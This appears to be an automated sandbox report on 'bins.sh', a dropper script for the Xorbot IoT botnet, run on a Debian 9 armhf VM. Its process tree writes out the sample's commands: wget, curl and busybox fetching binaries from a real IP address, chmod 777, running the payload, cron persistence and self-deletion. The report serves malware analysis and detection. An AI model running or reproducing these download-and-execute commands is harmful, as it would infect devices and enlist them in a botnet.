Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    10/02/2025, 19:57

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250210-ypb97avper
  • SHA256 ba9042796dea6961ae0dd9690a3a0e17f9652519a9dd2a1137fe3ca12366dc3e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2010) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:640
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:642
      • /usr/bin/wget
        wget http://37.44.238.88/bins/UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
        2⤵
        • Writes file to tmp directory
        PID:644
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
        2⤵
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:660
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
        2⤵
        • Writes file to tmp directory
        PID:672
      • /bin/chmod
        chmod 777 UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
        2⤵
        • File and Directory Permissions Modification
        PID:748
      • /tmp/UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
        ./UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:749
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:751
            • /usr/bin/crontab
              crontab -l
              4⤵
              • Reads runtime system information
              PID:752
          • /bin/sh
            sh -c "crontab -"
            3⤵
              PID:753
              • /usr/bin/crontab
                crontab -
                4⤵
                • Creates/modifies Cron job
                PID:754
          • /bin/rm
            rm UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
            2⤵
              PID:756
            • /usr/bin/wget
              wget http://37.44.238.88/bins/1Kz1KnRgvkasmixG2CgdW9RluQF1C0POXJ
              2⤵
                PID:759

            Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

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                  Downloads

                  UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
                  • Path /tmp/UlPA49IWeplZmCJqWfiq1o2CVuKe5xjqe5
                  • Size 141KB
                  • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                  • MD5 SHA1 SHA512 SSDEEP
                  Submit Download

                  tmp.WNcMbT
                  • Path /var/spool/cron/crontabs/tmp.WNcMbT
                  • Size 210B
                  • SHA256 216964074fe621539dbc867ec962588394ba1f1637017aad7fa2c966acc7afe9
                  • MD5 SHA1 SHA512
                  Submit Download